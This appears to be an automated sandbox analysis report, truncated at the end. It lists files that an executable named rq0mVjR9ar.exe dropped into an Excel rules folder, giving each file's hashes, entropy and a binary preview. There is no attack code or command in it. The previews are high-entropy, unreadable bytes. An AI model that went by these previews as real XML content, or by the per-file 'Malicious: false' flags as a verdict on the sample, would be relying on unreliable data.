MD5:	5443AECB1B8BCC4630531A00CECC7D2A
SHA1:	189D91864A9C487D2A2B9114260E479E13EEB485
SHA-256:	2120F3921D9B8A66BB0C1667170A2EA0E3AD39C944ED42D3749054237F4D895C
SHA-512:	0B9FB64366ECC103E3FEA7ABFDFDEFA3CC351BED738E383A554934FE5BBCC302C6FD1ED7E5E3EFFE5620D15B6EE7947A8B63265998F3C691666D2891F922BAEE
Malicious:	false
Preview:	<?xmli....9;^.P.G..0\..;2^.C..E(..%^p.e...x.V.K;..MQ.J..J...>...YrE.............Z..;a`=.k......M!>.....5.!.f.J.........cP..qv&..J#[w.I...w.9...=..6.../._"..74..%Y.....-9...)].....VR...8[D.$@.A.v..CN....-.c....../(.i..,.HLTm...$.L~,#7......S.^.......(L...:.2..a$Y..6...N..pg....5.M.FJ...i..).P~..c..$.gG.=$...P.U...?u.R......R...[....bG.~.Q4U...W.I$....rnWK!5.Y].?W...x./.,..X..\;....HT..Q..X../.9..f....#?...]..H....d..(.<.$O.......?...... =....0..9....j.......;<.....w1...&3.i.r.....i..Gt.....d....2..'0...''....f.8).".Y........R.3?7.......x..q.......K~l.y>...Sk.@.....v..sh...X.\a;...s...p.I...-\|........@^....].?....y.U..<.....v...c..R}.n.D(E1&$(...%0..b.MI...vT.c..;.~.HAz.3t.m..\>.%n..{&.'......B..N%...W.t...g&.!Kf.+6..@"b....U.a....9./.t....C.....p..!....:Op.X.J..H.x.=.......i$..$..=..h_.f...iY.j.DR..H..J&.Sn..L...&N.T...).bWQ.a.i.s.-...S....:b..$o..X.4Dx...&\|..^....@).......C..S..M...=L]9.Y...SK...PM..V.0{Te.<.."O9[%....i..aEs.J..*.G....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.895447920581169
Encrypted:	false
SSDEEP:	48:UiL6NprHqln6lJltB4npcwsFWkR2/sSBiD:UPxzltB4hsFToRA
MD5:	6643D9736EA0C8F9E8B7907CE8D31E21
SHA1:	043DD707955E267B1EB8217C5F7671C928BB93DD
SHA-256:	2EB86B80D4B34C9A5E6AF90646E704C2F163C4B5227622417C49E21DC6F5DAA0
SHA-512:	0C8715AF9398E01C3F388BACBBC17BF728CC436FD14133EFC556157317641D14BE7032C90C599381BB939D5568077A295984956D1365D7D5CB72117AB90AE246
Malicious:	false
Preview:	<?xmlCp.dIN....-......Eu....Y.z.M]..>.%4.g..n........d.H...S...N%...l)X...Z..g..8.S...5#..a....H+onV.DP.....Q.......&..&...kzkPR..../$......?p...y.gxa.QUW.M_.:_P}..:..Y9.tz...;.ds.w;??.....M&...$...7.....s.....5.&z...2<h.y.s.[..Fg<....ts^[.\|.....;E>//]ut.\|-7Q.s.....p[w).......u...sg.....HE'.....b..F.e^.$.....[..../...p...u[m5....H.UGL=....S.....i.l..).\..tzuuP.&.e....5...L...a.&u...g8...E. g...._.,Z.y.\.R...NG..B...D...[\..{m...}.W4..5.....a.......}.y.+.`:.{.[..Dn.'.~N......hZ$G:.......[.....2MG..(1u+.@.?...FG..vz..3S;..c..i.V.HE\|..meZ.v...n....U.6A.{uJ..L.s.rE....Vu.n..\.......)....D.....h.`.Uy.\|.(..."or1?..a.. ...\|.YM.z.....U....L$..t...l.......Z7.q....@.yy.....C.(X..\X.i..Y~..3..u.4.vw..7.e.J&@..T.T\......+....\|7.,..J.F......G..+...TO..c6j..0.".....J........l....oU.R@.-.Q......%.......P:...S..3g..nv.S.h,`..L-..%. .w..`C.BL....G....??..._.Ph.T.c......8.......$..a.n..w.za..T.=/..2).....r.3.V.E..o."U.3..3b.#%bl8........"..@..H,T..\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.848318357624691
Encrypted:	false
SSDEEP:	24:2xROwQv/LxT+NRaLI4KuO46D6RoqRtF04UTthhxVSGmQW2stWFyiTkbD:2iBv/dTT7O4rRX04YrhbWQWfspiD
MD5:	06786FD78622EFB376DC31571A8DC6DB
SHA1:	C6AAEC3CB814178B668F61499A77183062003C9F
SHA-256:	F34872130C4ADA837C46D207EC99E14D18028117804259089B8E3485EC1ABCFE
SHA-512:	371A5B84E2C08D7B10132101E460D5701AAB3FE4662094C8C680DBBCB996B1E8E77C523CCC0CDE96646F46F8A768B92B9B102888244641E21553CB724928FE82
Malicious:	false
Preview:	<?xmlDZJ.i..jo.4...-.(sF.....U...c....S.H.._..z..\$.....I....S..1..e...4N.Ys"....\|7{..Ay..^.R.......")...Q..o.Q..TI'7zG2?Y..i.....WT.0G.r..#.4......MNy....).M.)`_.G...........C..oAJ...u)...6.............r.E}.pw..Q..=.....k.?.+q....DN.;i.R..Cy..$..ugu..1.A..H....l6.u...laMD......EL_X....s....x3'#.&l.k.O...R3..I..AG.gT....b...w..........._......1[U.H.(..`..Z........C...KY..t..>9:...X..5.q.Ub....^..m.."....T....(.@w.}.jv...~rM..(...X.<[v..q.P.....qT...VTR....W.0..1T4]..H.A.K.......l......q.7..x..f]u../.Zt$.P...8U..[:........d.RSu{cV.T.>..1.....M..poc.ff.:"I.j..A2..d6.c....zy..\.<..q"l....k8G...8..!......tO.4]Hf..G.A.....E`.....vP......c.85~.}b+......{w......:p.M...p.....m....8WG...z..r....#....t".u.8...I.j.]m.p....BP.O..}-.9m....K.T...L../..uu.X,.8.,..a..}.....Z.2.g...i.`.Q\|.&:.._.xa.....,./A.U.xOZ...p.\|.t..?...WCd#_.X.mU. Z..=.YI.ZS.....Xp...<GR....%BY..Nj..M.~.8....;r....C.........^.U.+..g=4/c.......G.g.MM...Gb./.Gi...e.pIJ.:.c...E2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.874527204814231
Encrypted:	false
SSDEEP:	48:88+9sWxX/ecBXsdeOUeJ7qH2o6Eu2GK81NKwgiD:DQsoWMoeOUeJ7qHUuG/Z/
MD5:	A0F4336EDC3F044B94C9DA2B74F31A71
SHA1:	D72E71D862D77CDCF307767F486FDBAC24FD70C8
SHA-256:	B5E279A49F946B447E2313B260B0E4FEEBFC13B4668180E10AAA25BF8A682FB1
SHA-512:	AD485365356B3AFF3A7622D72A6A0C9092BE94D0AF825E302448213E1E3BD250586AABBE13FCF3BAC7DACF944BDCAC0E636DA12A28397414094BC6A06215EE92
Malicious:	false
Preview:	<?xml..5.....GMZ...(q...'d2.....,j....sYkx.]... .@..t.(.IP....\L..b.+....4.?..i.!...Z8.WaQ..d....0...1........r......#Z.........^....O[.....dE&TA.T.......Vl2Bv.n......#...Q......G"..t.".ki..w.S...X......u.....a!..sHy.2+t>^.nCB.....t..9i..U.=..m.hD... .F!..j..U..Q..G).M%&..k..0.0...nx..AMLM....c.P..@-]..3O]O55.xs.3..._..c.a]._9.US%:jq.H.@...em.[...7....c.nh4o...2...$..-....r.....hd:e.B...w.u...:..Xd.~.....R&].+...m.8\|.)...A....1..l..j+......x...S..A..$..q... ...C...n..u).-.y.T...YfPk..t.......E.++.~U!.+.Y..'.&.......y.z{1l.;!.....HF#!.X..(<....>...#./.#..&.B....m.% .......2.U..AJ..0.....?m.C.>......y....d.h.u)q.....>I..c~....bd..X.9...U....hi..h8..Y...}R..B.....+.y.].,......<.<......V..v.i.pD..M..m.A.A.9'.#W...`..0...."..h.,?i^#.....?{o+..^%............$d.A+. ....21.. .!.n..B7.K..k.......7O.....;<+}.S.Pe.3....L.....tC.\|I\|q."-..^.X}K...d.:. ..<tN? [..U....ax.sh\.e$\|..Y.......r..=....S.b-.p}x..r...fm6.)..P<-.:..d.o(W.....Jj..Q.63..D:Y.lW.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.887165644974314
Encrypted:	false
SSDEEP:	48:lwX+IMnMKVShJwjL22jgpdCnM/vXWVqzTgc9ziD:lxIXK7FjkCMlh9m
MD5:	48D09AD64F34A9A214F177E5C93F43B3
SHA1:	BB2283EE9031F8F628D8AEAA69C90015157065BE
SHA-256:	1B13EA4486E28E13108225A798E28C5343C76E6D7E735D63ABB4163C146389F6
SHA-512:	AFA102BBB4A882F8D167D1D2784113FF4B4CA67077CAE93D682CD8B9C829234CB6234F7B4BFB122A6FC471C523FD81DF10F3A4B99222708E825F8F81959C76F1
Malicious:	false
Preview:	<?xml.K...G.._.)..b..>c......C.Q.GI...AB..1<.Q#~..\..C..B.:...Tg\o ]......NNT.7@9(...=.^M..\|..(.gn.\|....8.k...:M&.p7E9#_A+.ZP.n...!_.....J..Yd.<.:.[.Wz..=!n1P.7w..<..*ue.8E.#..j=#...G_...iC...ns.../..;...gWIl1.h.O./n....J.^..nBmt.a..N.N..p.j...S.N.......Zn....f\f.Q.3....x.-.p!.P.>..ku.....<D.c.[...w.b.O./..".f...jXyg...p}.....5^..y..i/.....hA.C....q6~..F....uN....d..$.FK....{...m,.....N....[.G...S.e..._z%....].iiI...%...5.[.....!..14.J.(.>1.&...O]I...R.p.P0 +.B>..:.b.....gp.,...z..q.....mh.mR.1..m.3=.........6:.Ru....T...7...e..KHf6.B-...q~IL%..\|>b...eJI.../.............!E^v...B...}.?.....ou.I.......;23\....5...[Lhf0.@T<.....1..O<)n.."K....W...._.W..yk.i.UTG....f....QJ.x.5.......FR.y.cm...........X8.)..tv0.+Q.~...y..:%&.....;.9....0Y...1...=x_X......4..,..7..I....F..N.>...',Z..3.>.D:...k...yQ3".[.-/)."j,^eR.q."..............C..@.z.\|k......r.6.I.H3..E'U0.....G...}.B...!F.[x......W..?6.^_?.e1.y..,..+. Hs..Q(.....+...?.{.........pVx.B?..&w....P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.886721172693439
Encrypted:	false
SSDEEP:	48:Ax2CHRqQRa5NOGC61PwYQ2YJIWxeqiRgBKuhR9+nIuQ4iD:lCHRqQRKtxKIGeXulR98IuC
MD5:	19DB74B674E2B0507C878089262042CB
SHA1:	683837FB172CAC9A89A97894926B98BC2EBED012
SHA-256:	76BD854D0233E3EC1E1DE604A116B026EB9D696728AEB836B3C8E48F84DB6799
SHA-512:	58E1418ABB1EAA1FDD8D60F31684C4AB8D864A67A0ED651EE097E5BD8F693ABA7D7A4EDE79989413397F59F4CF99C9F46960DB71D8A69D24B346B56A81F8329D
Malicious:	false
Preview:	<?xml}1p...m.^ ...q... 18..G.......]...........O....>-{.-...^.ct...`.......P....2...DJ.....H^")...i..~.L.S....z.r<.;W.=f.V..Z..v..h..Wp....:[.f......A........r..lnH.B...R.M....h......p....@.......>t.".h.z.\Sazm+9.8~.Xe..B..9..$....@..f..9.i.a..r.?c..c.4.i-..&<..B..7......\| .7Y.=.....>.s..[.A.I:..?..../."n....q.'...j..h=.vN...wY.c..!l..)K.O...K....q....VgZ.t1U.B<.......a.$r..8H}e...T.?.Z,,8...)[.\.W..c.HB..:..........,...z..{HL.w..Et..5.....}..St.3O.Ka..V...2$...Z..3E..O..je...M...H.2...&0...a=!'nY$I...V?..$.>.B.t..b.;Lg...c...9....(0r7..t....u.9...D.U.~T..j`0.G.L..M...2.%.....U...j-...nZJ.W+.]2......~t.0e..=.M......:l.r...9..\|..n.(.5...sVw..<....sC1.p..%.x.... Z"..Nf...kD.......Y\..F..h.Lo....`.FO...;.i.......}.rM..1`.f...0jO.Xp_..U.O...l....<u...l{%.......B.wy.7.Nm.-.rn.\N%...k{.....c.&...x.e.............v.5.O.lT..Vuo.Q^N.F.....G....J....D.BV..`&.\|.N......)......^.0...-S..y.R.M.M...\|.E.PnW...h.X.......].8Z#.)..W.}@.{;...E..PP.Q%.#..x\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.878538238913537
Encrypted:	false
SSDEEP:	48:9GB0aHYgJKXqTijx7MqOYHjTmlR5gWDcOxOiD:9u0cYuKXqc45GjIAWDL
MD5:	2C1109FAFB3BB3AA8873059E35662E92
SHA1:	323D0549342993DB7F3E77C3DE3AD4CD1FB41E07
SHA-256:	C7921A7C3C2A9772A70FFA0389D8A439409EFA5A62ADC90F84AAC8C106A36F2A
SHA-512:	D603AE1C57FFF630C3F36DB0528143D4D457878BAF466025F19B41C08D5CD5E7CEB676579F6D56DDA11D2EC16EFB23DA36E6FC8821875109E73704D1CB30F6D4
Malicious:	false
Preview:	<?xmlfA....1.fLj..lw...{Z.A]H....\...lP28Ub@.....}Y.&.X...S</..A. `5...LG>M.^...^\C.V...h..YQ...Xm....t..\|......+ec...).vO.:....pq.O.e..^..-........cK.9&.b.q.zw......m^.P..K..P(d...}...A\|.i\.tv!...y....QmY..F'..Uy....5....H!..?...0...Q;+...q..T[GF...%9.S.~c....M......E......._...B4C4.....9..X.CS..h...b.R].G. ..]......Inn.c.l.c..f.8P....,[Dl..N.....g5.v..@.l(...;.c.og....$.....(.&...jl..e..+.p..'5.........1;.L...q$...>..e.8rZ...C\.1'.R..h........>ge......N....qb.SI.4T1<........L..Au.m.&..]..T.P.7....!b....M.~..x.;....7w+.7........i?.p.?.r..uH2$.k.....D....8pd...KsS.}.h../.n..#...S......;..)4.C?D.^.W...I.:.....lnGR..a.7.....Q.@.s..j._-&..<.B.N....s%.{.17^.;....E..z.LS.c...y=....dP..I_4U...i..H.r...\..l'.7CG.y}.2.......AZ...Ri.t..y...W..cZ...QT..:........:K^~.l...h.N%........{..C.....s........J.]..9.....+.S.\|>.^..#...U.'...Y.cd.r.>...?>....jY{...D.....Yv./.....\.}?o.b.B5./p+.O..t7... ...m.....!........\.A.....i.....7UwW...<dL7./.2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.889057962017227
Encrypted:	false
SSDEEP:	24:YCabTXDjGPz9QTPY9lwIeHRwjTabmptQoGnf7bZdhWn9K+c4ya+lXzLxiTkbD:yvGP0w9lhgaTSmzGnf7bZKnOPzLQiD
MD5:	613BCD4F77E16E9610838113FA53292F
SHA1:	B817FBBCCFC6CC63D8919464F0934B6704E5271A
SHA-256:	D9E6193C689017C8F6E4A38EAA343D4B0C51B1F7FE864BC9E91CEEA3A0922854
SHA-512:	414F563A0E85DEA353A5D8CF0E06A19068B681E4706B6070B0148C78FCDAD16E13CBB725ABBE5262A81F10A20DE9129AB5FA2D2CC32A0D7208F585A8F19F435E
Malicious:	false
Preview:	<?xml..q.K.....Q...H....:... .T.. .I..(.7..}.sZ...z.....:....YU...)..9{9.yE}..M....?.u.....Y!.C.kA..K.....]'.U#...l...5R.....!.$......dC.......V].0...'...u...$..B.O.}.:.P.........~.....fN..!_.......g...j.V.9.C.L.....cs.....&97b.qxRY.h....h..g..gy..k.@H..q...d}).jQ..`]}......hAt2[P....B..p'\|}.s}g.H:S..o.j..L+.....4}........o....8.;...Eq...;W.....)m9..`..(..K>....e.,.65{....A...L..Z..$.7.8.O>3._.T.q.jM~8.GD..'.j.....R?..y.f.t..h.z.....(...V...Z...g.'U.........KMOL...C...m.H8..b.@-.yg~(i...B..HK....he.SQ.R...0..=....a.]r.l...3\...?...$..EK..?.o[.-...K.........<....f.. ....wt#+..y...9..f)K= <......wx*.0Hc...`.K/..c..j.Sg.L.:L.Q..VT...q%.gd.....^c.,.Ek.Lx...G07}.I..B..G..!..1.:s.Y.C.8.ZDM.cY...N..%....[}y..q\ .........}Xr.[...c..>..i...b..L^']....S...(...[.1.1.y..lW..:...].r...E.kR.2..x....A.jFiL.h.`s0..z.U......,.......JC1.^...b......C.%....{.....y.j.............e..W...G.3U`./.....C..E;{..].= 9.y...\|]...7...)...x_.E4..0.F...M.</...h..../u...K..!0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8786748558690185
Encrypted:	false
SSDEEP:	48:8xrP/9h/BJ9FmjE72HOswhpOXPoxdWtYcXiD:s/7/X9FmjE72CpkPoxhca
MD5:	B4118398A05305EBEC5AE9D00ED82AED
SHA1:	939803FF23EB8B55707D9305EFF638DA4D076C71
SHA-256:	7BB22E082FEBFDDD2E768249DD76208D8A78A36985C9F3F096EDD7A2D85031E3
SHA-512:	6667B26B498BD2936557BD9CEE5964388F59918FA29D6E06997A7678C6655C5AD5B5A0F3B63F4647B17AAAC38534C9D784A9A9D510F4BC5AD23CB62E8BC67BAB
Malicious:	false
Preview:	<?xmlB..mv...\|.m@....bS.k2..".'S.....R.Ti....F...F..E.t\|_....H.1J..;.ZZ.8Q\..,&.hM..=.V1 1.....<.....i.8T..[L....\.......D.>..M......a.ef.\|.. .F..F.H..Q?....q~....H.I..=..u.dV...\N........F...^.n..........8..Y...bW...6.....:-..d4Ts/.... ..m..\|.G....0b.B..1...;.`_.gDOu`tJ.*..-^n.[....[......8/w.?... Dd.c..X.C..P..5k.UH...&.....Uc...I....~...p.........5.0F..M::<...!...pQ-.x..CG'..".,L...+)..:...t....d.......:.....i......9.U@Y.q..q.l~...z...M...=..m(.`D.....\|O............[.....d'.T.......,.ft.....T...G:..Z.p..{.......B.i:...[.....~6.W<..zM...s.l..6..:#.y..Pl.6F....:S+.pn\.c&.;g..,+...B8..A...=n.p..I...^ k.epf...]....y...'....]c.0;.<......O.I.5.......mT......%.........d..^l].g..$ ..B{+.....8.&S\....us..4.8......)y.O.=v......@.%B....j.)<...p.....V..8....@pM...-<....W.b....C.:o.....A0.ve....C6..t.........Q.Y). 9.y..f......x........F..J.G..y..\|p._.d../....y.H.4.x...\|.f.G.......h..uL...48....u.........3....6...9....:...............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8779032539383795
Encrypted:	false
SSDEEP:	48:qoDyfySHuKNKKwC6Yb1c4iM5Yn+7ymmBcJYF+iD:VDy6SzNyZYbu4i/n+7yHV/
MD5:	9B4053704083734841BE1B1523420345
SHA1:	5D363D1E5A53D965B8984E841B4661DF6FDE9F37
SHA-256:	59D409DF440A3F0AF5230CB55C3643046F9487828A9D82BCB4F0F7F3FEBD391C
SHA-512:	D30E3F500B9379D96DA21F3856E578457744D60BEB8071A1A59E98A08EDAEB8E26356E5B82D321705D7761C1BECEEC933DFEA13B6E4D2EF908F8EECC18BA3C2A
Malicious:	false
Preview:	<?xml..P.8....CxPKF..?...S.T.....VQ.x.<-..\|0...K.W].i...5nTJj.Wi!]j...`B1......5..7.}Y.!a.}...a.Xa9.D..J. .2Ai..O...rk..W..v.,/.<.>R.5...3iK!}.:.....>.=..MO~+1. ,..^..f$...(.-0.mt0F#...F..l.:.wQz......K.e..&G^.....u7...].X.j]S.n...1....)x...<. ...w$.l[.C.y.fh..picj.w....8..#.'.3[1......'eL..R.tx.......2/.</.r6(..c%s.ci.F..........#...R...BlQO...6..P."2.....<kdqZ).Va.0.V.P....w..6..9.k.YFk.H.j...M...$vZ...../.jJ&....0.k.4]W.K.....wU..TY...K......=H.?hNL.uv.%.....bFi.....L.{AVR...^..^..#...N.q.t.....8...A:.....J.,........9..x..`6^6.....i..k .......N....1 ...>....M6...k....V.u.N..B..#!.c.L.<.....)....L.g`.q.&M...J../....0.?.xx.......qnJ...Yx...........d...-._7..M.+e.]..1b......{.S.m.H.g..*,.VLY.F...]&&$......+..'...S..Q....zB.Ly..Y.E.........nV.; .f.f8..g-.....)..jM.n.......&V.....a..4..L...r..L+5]...\|......_.an..:.....a..........C.'.......V......j}.........,...I7k6..#....0..&.S.70../.H....RP...X.d.(U<...5........0.......L/..'.o.8K.C.....4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8813348518605375
Encrypted:	false
SSDEEP:	24:1RqRf2NRuL7zHyqgG+dUhy5DQ+CWyChyT8wCEkyNzd0k1SvRo0Ym4urMGh3V2fqL:0uNk79gd0hV8REX0ja0Ym4uj3x/JaiD
MD5:	7D726D1EE13E7E37DF6F5C4874514ED4
SHA1:	D661A4174DBC599C645713BD375BA96F1B259A85
SHA-256:	A53F67234E82A6C5AA9C12AC9131AC62C01BAF3519891DF918211EE12BB01930
SHA-512:	494E7BD622CFC045EDC41B79EA2FDE2C7A76A7C38F02B4E2E3A4915E7C8C0D4D5CF81F9E8C2E404A6014AD8A840321720C7DFEC0DB7A27EFA8164455E0F8D836
Malicious:	false
Preview:	<?xml....GX.%@.N..ZMgCA....C.....{..:.=..._K...".....8L.&I...4..m.'../.w...i.#.g7.FM...^).........4.}........H....?k...W;8^.6.+...Z':.:.}..E.2Hs..zn..,q....I....w...s...S.5.o.....qT.6.7.Z.Q..jqr......?.{..4..S...`.$D....[..y..Mx.U......1.....!...\|..f3.0iG.?...U... ...(O..r..rR$..$.1..o.=,....".K9..U..;.U..^....B.g.A..]...*..?.fQ{V;.Q-v..X...E0xD..xf..8...Uw...Qe..C.F......2.,1g...<P.K.&..PUo..gO.i..ch.'\|.k{{:...~........W...Yx..}.+Q..g........NL...\|5.w.s=m.U..j7.x.w...Y..N.......Ql.C.M4...4V...#X.7.4.C.O.@..F+..`c..J.....aY.;5v.g.Y.V.]...V..9.....5.&..J...u>.h.cM....U+...)..}M..WC.U.[.j.2.^.......~.\}.]6.d...pP/.A). .>........1.5..... }Bs,P.Jh}....NRG..:}......_.\.....0A..#I...F1..m.S..../..7..1..r.~8g.....?.l.k-....2w..V.U.{^...B9n..+}...m......S...".(9zqK.......1.Se...s....)I(.f..(;..L7#xW....qxc._q..!..._...f9.!....o.];A"....]..v....=.X..F...3....a.......L}..q:U..m.Q5...!':...G1-v....O..km!.l.U...7q4^b,.y. ^............R`(.R+v`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.871152013354595
Encrypted:	false
SSDEEP:	48:w6t4aQiQT1GF90Rfa8nLXIvn3IBKbvLzoZtrqiD:ft4RC2ioLXgYBgTzoZtrN
MD5:	C46FF1FF307CE4D3BBAB155C0FDCC325
SHA1:	652BC6ECD63A7DC7CC90BF182F684F8C093E5966
SHA-256:	65C017DF7C5B3D3DE638E1297F08165962D4E96FC34F0E58230609DC5517C101
SHA-512:	B937BDDCB51D11EDAF308362D94E1905F138FEC40C981E3B2EF4C6902BE5E388A76F5928B2691552AE0E74DE195D494C146B8C2676075C8E74748A8651519BAB
Malicious:	false
Preview:	<?xml.B...........u....."...._.:..E.Y..S..m...0.y?X........,.f..n....Tv.. .9.,.....].E..!.M.MW13..V...$+i.........c..8..9.........U..Y.d.........Zq..[.m....R.}zclZw.........l.x.y}g..y. ..jRLL .{..N.^j.D..f.%]..7.;.IKMv...QH]..O..x..~+`(.@$....17.Kg.....Iw.^..!.-..O2..$..[...k[..f5/.)TYC....{...T/...bJ.%[...c... .....V6).t@1.E..N.....}.).U..X.BC..jQ..v...h.Y_.v.7..6.....U.].."...k.2..q=......u.W.....v...3..eQ...^I.....s..rK..=...b..R.SP...7...P@.s..Fq.Qe..oSB3dQ.#.a...h.A.....c..r.o.5..WP;..]).IK7.U..L.../f8.......BD......R...~.d........O..{.F7.8.Z;..r.s..l.\...m..[.m/....?.;.S.......m..6.E~....:l.).o.gj.!@...a.k$..iq......K-.......l.)..}I>.{...C.C..AU1T.yem..}.....I".T2...?.q.....P.....0.......j.ra.DV......s..../$hZCu.U.m1.2....j}r.B.~HC....`m.z.Ed...Nn...L.3..M.]...T.....Ll...R^j..>..V.u.HS&+-S.>e.rFD...m.N...Q..OY..tJ7.u.f......G.U.RG....~u.q..E)l.....#...{2_H_..AD.;.{"...).W.w@. ...n..P..G.....V.# .z..r.o>...5..?+.F.t..Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.882153944571241
Encrypted:	false
SSDEEP:	48:TKkDq3g8aCuxrgsgPCqwPpi4WHJn7ctCjhiD:TKkuaZmsgPCqCfU7Jk
MD5:	5A9FD6BA5D2152402E84EDD33F05A74F
SHA1:	2379635257DA5C068BB02944981FF6A84F046A9C
SHA-256:	11C508A4256620725ACDC2FC89F543A38844A4605F65D27F72789D3712E02CB8
SHA-512:	F4776C8637E72808BB794BE99E0DC923E510B1201E531948A5C199754A09F727CBA3CB079E4AC4ABF0BB8F1A04786096B9A9774B4323AB4FD8494DFD7F4E0121
Malicious:	false
Preview:	<?xml.......4b.}f...I..2..k...,..%...CV)j.8.'yH..T.DG../wv.V.{j..Mp..j..>../<...fn.v.fR...../5"-9.W.)/.0.w2RPI\.\|..B..@Y.......v.Q9.e.n.....X.6..@.ks.yp.....,.9..9.9;.G./.!.^.'...=eO.....?.,..Z....Z./-.....>w..B&...(........s..!mU.m.."..DS..k..Y..#T.Pz.l...E..1q..\|.{..8.....k....\.#....S...o..)....].....$&y=.}[..%......!l.d{\...iA.+.\...nd..'....C..E8U~.R3......4+A.]...2..\|H+...;.u.@...w...1..~.....o.dR..?HN.e:.....;.l.j..X..{.#..MI].L.o.6.",.......w.3g.fz.G.M[.......D)_..y."..Y?.....["...$.v\|....[\|W....Y......)}..~..q..(n.$..H.k.y.c..!"...q.E...ps..#;..Z.../..n.._3.Go....e..../.r....TaB...cg....)..C.5m(v...W.WU..ak...E.F.R.Jl....=+>.(lu...u.T...Y>\.../\..T.i...~f.7....-WI~....k..$P........?...r-.W.M.......WE/NA..T..UEz.&p.k.....!1..q....:...e.......i.7....ky..7...3........86.+...."..r...PB...R.#u.D?...`.o...=..b..^.B"i....H..AH.r`%.1.mR.J.*Z\...q.....s.N..~L.h......D.Zw.dZTC.{...'.:W,...HQ..p.K.[..8X..az.,O.\|..t..~..B.J.(.."..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.896681891234822
Encrypted:	false
SSDEEP:	48:2AH8lN/uwHFnJuBh56WvbfqVPp7hKHXF9d8ON5vJiD:2AHpwHFnJuDhGD8HSv
MD5:	C7AD50086B8DE0E285B84E81C9871DE7
SHA1:	E81186A2D16D1E83321E35EB6A9A4D48F180C52F
SHA-256:	9DF729AD0E5ED89C5D1B2C450C4ED150C7EB19475B0FC3FB6169B8EAE1C79688
SHA-512:	B14F194884C6C44ED8DA2CB0A0C42E8430BF18E3DBD6AED49AD8F83FED46C2E0129A3A01A959523F71E80B21A199CFE9DCA0ADF217366407A5257D29B89BD9E3
Malicious:	false
Preview:	<?xml.X..d.'Z6..(...V..aQ+.../...k.P....+$..........KP.....\.^-....}/.9/.\|.r.......~!h[...+.6.h.......6..{W.I....E.sH[r.....aC.a..+...+j....P..G.&..-.CWF..x.M\|....$..3.{...[.;-..4.m.c..P.a....~..\0..o...d-..}...k;&Li...1..A.S...j...%y:...p.....)C...W...?..I.{+..b...U..?.#%.U..\.7.sM......A.........f:...#...o..)T`;...D).EN...G.SHK...hU..f..;........s).....2..r.S6..."2...~`.=...uq..\..(....F9.Y.s,T.........q....(.. e...2..........p..5.W..G\..)k...Bc.....;.VLA.be..H..P...+c./.....p?.~..%....4..k..J2...:.E.#.~...,..\..'...a.8..)...u......... .>...^r.^...{.I0.W...k...}....lr..0......u.Y..Q............K_.}t..H.......3...o6..C....m......2..^$.....p..,ux.m..$...*.9..2.)...%.r....c-.&.,}..2.h..I.S.....m..-..X.....8.=V.GV...dW...'.\.xc@......]....g.<].nQR.t.G~.V..`.b....L}1myu[...c94c..y.n?JF...`^....H........W.<.>.D.Y...\.7m...5.......d.kd.x..UdSG...C/..4?...<..I.7....F.R..........r.A-.4.o....9n......q.woL...C..).f...Z.l..y.`.$.w).....".y4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.907545503001637
Encrypted:	false
SSDEEP:	48:Da7pNpgRT1iEYZhJBjXAxvHwJOjtvBbDQhU167piD:DahgR5ixBjXANHqIlchU1t
MD5:	522BCB936FA824BEF0C520A5FDFACF21
SHA1:	A809622EC35BEB3CA9F8E6324EFB286E88DFDA01
